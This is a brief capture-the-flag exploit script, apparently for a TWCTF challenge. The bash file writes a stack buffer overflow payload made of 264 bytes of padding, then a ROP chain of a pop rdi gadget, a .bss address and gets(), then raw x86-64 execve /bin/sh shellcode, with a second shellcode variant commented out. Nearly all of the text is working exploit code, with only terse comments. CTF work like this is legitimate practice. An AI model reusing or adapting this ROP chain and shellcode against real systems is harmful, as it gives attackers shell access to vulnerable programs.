nothing more to say, TWCTF

sploit.sh

#!/bin/bash

# padding, 64 bytes
perl -e 'print "A"x264';

# pop rdi gadget, 8 bytes
# address: 0x400773
echo -ne '\x73\x07\x40\x00\x00\x00\x00\x00';

# .bss section, 8 bytes
# address: 0x601048
#echo -ne '\x48\x10\x60\x00\x00\x00\x00\x00';
echo -ne '\x89\x10\x60\x00\x00\x00\x00\x00';

# first instruction of gets(),  bytes
# address: 0x400580
echo -ne '\x80\x05\x40\x00\x00\x00\x00\x00';

# .bss section, 8 bytes
# gets() ret will go there
# address: 0x601048
#echo -e '\x48\x10\x60\x00\x00\x00\x00\x00';
echo -e '\x89\x10\x60\x00\x00\x00\x00\x00';

sleep 1;
# shell from first google link : ), 27 bytes
echo -e '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05';

# wgh shell
# echo -e '\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05'